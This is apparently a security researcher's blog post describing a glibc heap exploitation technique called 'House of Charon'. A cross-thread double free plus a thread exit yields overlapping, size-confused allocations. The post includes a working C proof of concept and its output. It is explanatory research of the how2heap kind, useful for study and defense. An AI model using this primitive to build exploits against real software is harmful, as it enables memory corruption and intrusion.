Intro
Hello everyone!
Ever since tcache was introduced, a large part of glibc heap exploitation has boiled down to “how do you manipulate a tcache entry’s freelist pointer.” That’s become even more true since safe-linking was added.
But what if you could make two allocations of different sizes overlap without ever touching a freelist pointer, not even once?
In this post, we’ll look at a technique that puts the same chunk into two different threads’ tcaches, then terminates only one of those threads to create a size-class mismatch between the arena and the surviving thread’s tcache. I’ll call it House of Charon1 for convenience.
First, let me be clear about one thing: this post isn’t about a new vulnerability in glibc. The starting point is an application-level lifetime bug — two threads each calling free() on the same pointer — and what this post shows is how that bug can be turned into a heap primitive under glibc 2.43+‘s default configuration.
The technique chains together three allocator behaviors that each look harmless on their own:
- Double-free verification only looks at the current thread’s tcache.
- Thread exit returns that thread’s own tcache back to the arena.
- The small-path tcache pop never re-verifies the physical chunk size.
Let’s walk through them one at a time.
This post assumes you already know how tcache works at a basic level (
bin,size class,safe-linking). If any of that is unfamiliar, I’d recommend checking out how2heap first.
Analyzing Cross-Thread Double-Free
Let’s start by looking at the tcache entry structure and the per-thread struct that holds them. (source)
/* We overlay this structure on the user-data portion of a chunk when the chunk is stored in the per-thread cache. */typedef struct tcache_entry{ struct tcache_entry *next; /* This field exists to detect double frees. */ uintptr_t key;} tcache_entry;
/* There is one of these for each thread, which contains the per-thread cache (hence "tcache_perthread_struct"). */typedef struct tcache_perthread_struct{ uint16_t num_slots[TCACHE_MAX_BINS]; tcache_entry *entries[TCACHE_MAX_BINS];} tcache_perthread_struct;
/* TCACHE is never NULL; it's either "live" or points to one of the above dummy entries. */static __thread tcache_perthread_struct *tcache = (tcache_perthread_struct *) &__tcache_dummy.inactive;The thing worth noticing here is that tcache itself is a __thread variable. Every thread has its own tcache_perthread_struct, and the entries[TCACHE_MAX_BINS] array inside it is the per-size-class bin. If we call a freed chunk’s user pointer P, nothing inside P itself records which size class it belongs to — that’s expressed purely by which slot in entries[tc_idx] happens to point at P.
Now let’s look at the double-free check. Before __libc_free() puts a chunk into the tcache, it first checks whether that chunk is already sitting in the tcache. (source)
#if USE_TCACHE if (__glibc_likely (size < mp_.tcache_max_bytes)) { /* Check to see if it's already in the tcache. */ tcache_entry *e = (tcache_entry *) chunk2mem (p);
/* Check for double free - verify if the key matches. */ if (__glibc_unlikely (e->key == tcache_key)) return tcache_double_free_verify (e);
size_t tc_idx = csize2tidx (size); if (__glibc_likely (tc_idx < TCACHE_SMALL_BINS)) { if (__glibc_likely (tcache->num_slots[tc_idx] != 0)) return tcache_put (p, tc_idx); }If key matches tcache_key, control passes to tcache_double_free_verify(). What that function actually checks is the crux of the matter. (source)
static __attribute__ ((noinline)) voidtcache_double_free_verify (tcache_entry *e){ tcache_entry *tmp; for (size_t tc_idx = 0; tc_idx < TCACHE_MAX_BINS; ++tc_idx) { size_t cnt = 0; for (tmp = tcache->entries[tc_idx]; tmp; tmp = REVEAL_PTR (tmp->next), ++cnt) { if (cnt >= mp_.tcache_count) malloc_printerr ("free(): too many chunks detected in tcache"); if (__glibc_unlikely (misaligned_mem (tmp))) malloc_printerr ("free(): unaligned chunk detected in tcache 2"); if (tmp == e) malloc_printerr ("free(): double free detected in tcache 2"); } } /* No double free detected - it might be in a tcache of another thread, or user data that happens to match the key. Since we are not sure, clear the key and retry freeing it. */ e->key = 0; __libc_free (e);}Walking every tc_idx from 0 to TCACHE_MAX_BINS looks thorough at first glance. But the tcache this function walks is still the current thread’s __thread variable. It scans every bin, sure, but that scope never leaves the current thread. The comment at the end of the function explicitly acknowledges this: it knows the chunk might be sitting in another thread’s tcache, but since there’s no way to check, it clears the key and retries the free.
In other words, if thread A has already called free(P) so that P sits in A.tcache->entries[63], and thread B then calls free() on the same P, B’s tcache is a completely separate __thread instance from A’s — no matter which bin it scans, it will never find P, and P is inserted successfully into B’s tcache.

Analyzing Thread Exit
Now that we have two tcaches pointing at the same P, the next question is: what happens when one of those threads exits?
When a thread exits, the allocator’s cleanup path calls tcache_thread_shutdown(). Here’s the actual implementation. (source)
static voidtcache_thread_shutdown (void){ int i; mchunkptr p; tcache_perthread_struct *tcache_tmp = tcache; int need_free = tcache_enabled ();
/* Disable the tcache and prevent it from being reinitialized. */ tcache_set_disabled (); if (! need_free) return;
/* Free all of the entries and the tcache itself back to the arena heap for coalescing. */ for (i = 0; i < TCACHE_MAX_BINS; ++i) { while (tcache_tmp->entries[i]) { tcache_entry *e = tcache_tmp->entries[i]; if (__glibc_unlikely (misaligned_mem (e))) malloc_printerr ("tcache_thread_shutdown(): " "unaligned tcache chunk detected"); tcache_tmp->entries[i] = REVEAL_PTR (e->next); e->key = 0; p = mem2chunk (e); _int_free_chunk (arena_for_chunk (p), p, chunksize (p)); } }
p = mem2chunk (tcache_tmp); _int_free_chunk (arena_for_chunk (p), p, chunksize (p));}tcache_tmp is whatever tcache happens to be at the moment this function runs — that is, the exiting thread’s own tcache_perthread_struct. The function pulls tcache_tmp->entries[i] out one at a time, clears e->key = 0, and hands each chunk back via _int_free_chunk() to whichever arena arena_for_chunk(p) decides on. True to the comment “for coalescing,” this chunk is now ready to rejoin the arena’s free list.
The important part here is that this loop only ever walks tcache_tmp — its own tcache. There’s no logic anywhere that walks some other live thread’s tcache_perthread_struct and clears out the same P there too.
So, in the state we built above, when thread B exits, B’s shutdown follows its tcache entry and returns the underlying physical chunk P to the arena, while thread A’s tcache still holds a stale entry pointing at that same address.
Before B exits: A.tcache[63] -> P B.tcache[63] -> P
After B exits: A.tcache[63] -> P (stale) B.tcache -> empty arena -> owns P as a free chunkFrom A’s point of view, P is still believed to be sitting in its own tcache — but ownership of P has already passed to the arena.
Now suppose thread A keeps calling malloc while P sits in the arena as a free chunk. If the size A requests is smaller than P’s original size class, the arena will split P, handing out the front portion and keeping the rest as a remainder.
The problem is that the arena only ever touches P’s physical header — it has no idea that thread A’s tcache still holds an entries[63] slot pointing at it.
P's actual header after the split: a smaller chunk sizeWhat A.tcache still believes: the original, larger size classThis is the point where what the arena knows about address P and what A’s tcache believes about it start to diverge.
To make that divergence as large as possible, we need two things: the original size as large as possible, and the post-split size as small as possible.
On x86-64, glibc’s request-to-size conversion works like this:
SIZE_SZ = 0x8MALLOC_ALIGNMENT = 0x10MINSIZE = 0x20
request2size(0x408) = (0x408 + 0x8 + 0xf) & ~0xf = 0x410request2size(0x100) = (0x100 + 0x8 + 0xf) & ~0xf = 0x110The small tcache index is computed as (chunk_size - MINSIZE) / MALLOC_ALIGNMENT, so 0x410 maps to index 63 and 0x110 maps to index 15.
The reason 0x410 was chosen is simple: under glibc 2.43+‘s default configuration, MAX_TCACHE_SMALL_SIZE is 0x410, making it the largest value that still stays on the small tcache path, which never re-verifies size. Anything larger crosses over to the large-tcache path, which does include an exact-size check comparing the requested size against the actual chunksize(). (We’ll look at that code in detail shortly.)
0x410 -> small path, no size re-verificationabove 0x410 -> large path, exact-size check existsThe split size, on the other hand, just needs to stay below 0x410 so it lands on the small tcache path. The PoC picks 0x110, leaving a generous 0x410 - 0x110 = 0x300 remainder. Placing a separate live target inside that remainder means the oversized view we build later can overwrite all the way into that target.
Analyzing the Small-Path Tcache Pop
Now for the last piece. The moment thread A calls malloc(0x408) again and consumes its own stale index-63 entry, what does glibc actually check? Let’s start with the small-tcache fast path inside __libc_malloc(). (source)
void *__libc_malloc (size_t bytes){#if USE_TCACHE size_t nb = checked_request2size (bytes);
if (nb < mp_.tcache_max_bytes) { size_t tc_idx = csize2tidx (nb);
if (__glibc_likely (tc_idx < TCACHE_SMALL_BINS)) { if (tcache->entries[tc_idx] != NULL) return tcache_get (tc_idx); } else { tc_idx = large_csize2tidx (nb); void *victim = tcache_get_large (tc_idx, nb); if (victim != NULL) return victim; } }#endif
return __libc_malloc2 (bytes);}If tc_idx falls within the small-bin range (under TCACHE_SMALL_BINS), it just checks that tcache->entries[tc_idx] isn’t NULL and immediately calls tcache_get(tc_idx). The part of tcache_get() that actually pulls the chunk out is tcache_get_n(). (source)
static __always_inline void *tcache_get_n (size_t tc_idx, tcache_entry **ep, bool mangled){ tcache_entry *e; if (!mangled) e = *ep; else e = REVEAL_PTR (*ep);
if (__glibc_unlikely (misaligned_mem (e))) malloc_printerr ("malloc(): unaligned tcache chunk detected");
if (!mangled) *ep = REVEAL_PTR (e->next); else *ep = PROTECT_PTR (ep, REVEAL_PTR (e->next));
++(tcache->num_slots[tc_idx]); e->key = 0; return (void *) e;}The only check performed here is misaligned_mem(e). Nowhere does it verify that the actual chunksize() of the chunk e points to matches the size that tc_idx is supposed to represent.
Compare that with the large-bin path, tcache_get_large(), which behaves quite differently. (source)
static __always_inline void *tcache_get_large (size_t tc_idx, size_t nb){ tcache_entry **entry; bool mangled = false; tcache_entry *te; entry = tcache_location_large (nb, tc_idx, &mangled, &te);
if (te == NULL || nb != chunksize (mem2chunk (te))) return NULL;
return tcache_get_n (tc_idx, entry, mangled);}Only after explicitly checking nb != chunksize (mem2chunk (te)) — that is, that the requested size exactly matches the physical chunk size — does it call tcache_get_n(). The small path has no equivalent line.
So even though A’s index-63 head is now physically split into a 0x110 chunk, __libc_malloc()’s small path doesn’t care and hands back P as-is.
Chaining the three properties we’ve covered so far, in order, gives us this flow:
thread A: free(P) -> stores P in A.tcache[63]thread B: free(P) -> also stores P in B.tcache[63]thread B: exit -> B's shutdown returns physical chunk P to the owning arena; A's entry for P goes stalethread A: malloc(0x100) -> arena splits P into a 0x110 chunkthread A: malloc(0x100) -> places a separate target in the remainderthread A: malloc(0x408) -> A's stale tcache hands back P for the larger requestTurned into PoC code, it looks like this:
// gcc -pthread house_of_charon.c -o house_of_charon#include <pthread.h>#include <stdio.h>#include <stdlib.h>#include <string.h>
enum { VICTIM_REQUEST = 0x408, GUARD_REQUEST = 0x28, SMALL_REQUEST = 0x100, TARGET_OFFSET = 0x110, OVERWRITE_OFFSET = 0x120,};
static void *victim;
static void *second_owner(void *arg) { (void)arg; free(victim); printf("[+] Thread B freed victim chunk: %p\n", victim); return NULL;}
int main(void) { pthread_t thread;
victim = malloc(VICTIM_REQUEST); void *guard = malloc(GUARD_REQUEST); printf("[+] Victim chunk allocated: %p\n", victim); printf("[+] Guard chunk allocated: %p\n", guard);
free(victim); printf("[+] Thread A freed victim chunk: %p\n", victim);
pthread_create(&thread, NULL, second_owner, NULL); pthread_join(thread, NULL);
void *small = malloc(SMALL_REQUEST); printf("[+] Small chunk (0x110) allocated: %p\n", small);
void *target = malloc(SMALL_REQUEST); strcpy(target, "Target"); printf("[+] Target chunk (0x110) allocated: %p\n", target); printf("[+] Target contents before overwrite: \"%s\"\n", (char *)target);
void *large = malloc(VICTIM_REQUEST); printf("[+] Large chunk (0x410) allocated: %p\n", large); printf("[+] Overlap check: small %p == large %p\n", small, large);
const size_t target_hit_offset = OVERWRITE_OFFSET - TARGET_OFFSET; unsigned char *overwrite = (unsigned char *)large + OVERWRITE_OFFSET;
strcpy((char *)overwrite, "Overwrite Target"); printf("[+] Target contents after overwrite: \"%s\"\n", (char *)target + target_hit_offset);
return ((unsigned char *)target)[target_hit_offset] != "Overwrite Target"[0];}Building and running the PoC gives the following result:
[+] Victim chunk allocated: 0x55ab6e20c010[+] Guard chunk allocated: 0x55ab6e20c420[+] Thread A freed victim chunk: 0x55ab6e20c010[+] Thread B freed victim chunk: 0x55ab6e20c010[+] Small chunk (0x110) allocated: 0x55ab6e20c010[+] Target chunk (0x110) allocated: 0x55ab6e20c120[+] Target contents before overwrite: "Target"[+] Large chunk (0x410) allocated: 0x55ab6e20c010[+] Overlap check: small 0x55ab6e20c010 == large 0x55ab6e20c010[+] Target contents after overwrite: "Overwrite Target"The guard allocation exists to stop P from merging into the top chunk when B’s shutdown returns it to the arena. If P merged with the top chunk, the subsequent split would never happen in the first place. Thanks to guard, P is the only unsorted-bin candidate that can satisfy the following malloc(0x100) call, so malloc’s unsorted-bin search is guaranteed to return P.
In the end, the large chunk and the small chunk point at the same address, but the large chunk was requested at size 0x408 while its physical chunk size is 0x110. Using the large chunk up to its requested size overwrites straight into the target allocation placed right after it.
Memory range large chunk can reachP ---------------------------------------------------- P+0x408| small | target header | target data | remainder ... | ^ large+0x120Limitations
There is a limitation worth calling out, though. When B puts P into its tcache, tcache_put_n() runs as follows. (source)
static __always_inline voidtcache_put_n (mchunkptr chunk, size_t tc_idx, tcache_entry **ep, bool mangled){ tcache_entry *e = (tcache_entry *) chunk2mem (chunk);
/* Mark this chunk as "in the tcache" so the test in __libc_free will detect a double free. */ e->key = tcache_key;
if (!mangled) { e->next = PROTECT_PTR (&e->next, *ep); *ep = e; } ... --(tcache->num_slots[tc_idx]);}Because the PoC keeps both A’s and B’s index-63 bin empty before inserting P as a singleton, *ep — the previous head — is NULL, and e->next = PROTECT_PTR(&e->next, NULL) gets encoded. Since this encoding only depends on the storage location &e->next itself, B’s insertion and the later shutdown traversal both work without issue.
However, once P goes back to the arena, it can receive unsorted-bin metadata, and in the process the spot where the old next used to live — the first 8 bytes of the user data — can get overwritten with the arena’s fd. When A pops the stale P, it runs through tcache_get_n(), which we already looked at, and the line that matters most is this one:
*ep = REVEAL_PTR (e->next);This is the part that decodes the head and stores it. Because that decoded result is never dereferenced or validated within the same call, the first stale pop — returning P itself — still succeeds even if e->next has been overwritten with arena metadata. What comes after, though, is that the next index-63 head could be garbage pulled from arena metadata, so there’s no guarantee the second pop is safe. That’s why the core House of Charon primitive should be treated as one-shot: you need to immediately escalate the oversized view gained from the first pop into another primitive (length manipulation, pointer manipulation, etc.), since reusing the same bin again can lead to an abort or a crash.
Summary
In this post, we looked at how making two different threads’ tcaches point at the same chunk at once, then terminating only one of those threads, creates a size-class mismatch between the arena and the surviving thread’s tcache.
The core idea isn’t some new metadata-corruption technique — it’s about pulling apart two pieces of information that the allocator maintains in separate scopes.
What the arena knows: P is a live chunk that's been split down to a small size.
What thread A's tcache knows: P is still an entry belonging to its original, large size class.A cross-thread double-free makes two independent per-thread tcache slots point to the same tcache_entry overlaid on P; thread exit then follows one of those slots to return the physical chunk to the arena, leaving the other slot stale. The arena’s split changes P’s physical size, but the surviving thread’s stale size class stays exactly as it was. And the small-path tcache pop never checks for that mismatch — it just hands P back as-is.
What I find most interesting about this technique is that it produces a size-confused overlapping allocation without ever manipulating a freelist pointer — using nothing but the perfectly normal behavior of thread lifecycle and arena splitting.
References
- glibc 2.43 tag: https://gitlab.com/gnutools/glibc/-/tags/glibc-2.43
- glibc 2.44 tag: https://gitlab.com/gnutools/glibc/-/tags/glibc-2.44
- glibc tcache cleanup change: https://sourceware.org/pipermail/glibc-cvs/2022q4/081533.html
- Ben Kallus, analysis of cross-thread tcache double-free detection: https://kallus.org/blog_tcache_key.html
- Sonar, prior research on
tcache_thread_shutdown()exploitation: https://www.sonarsource.com/blog/avocado-nightmare-2/ - shellphish/how2heap: https://github.com/shellphish/how2heap
Footnotes
-
Named for the idea that a chunk crosses over into the arena through the death of one thread, while a ghost-like pointer that still remembers the old size lingers in the other. ↩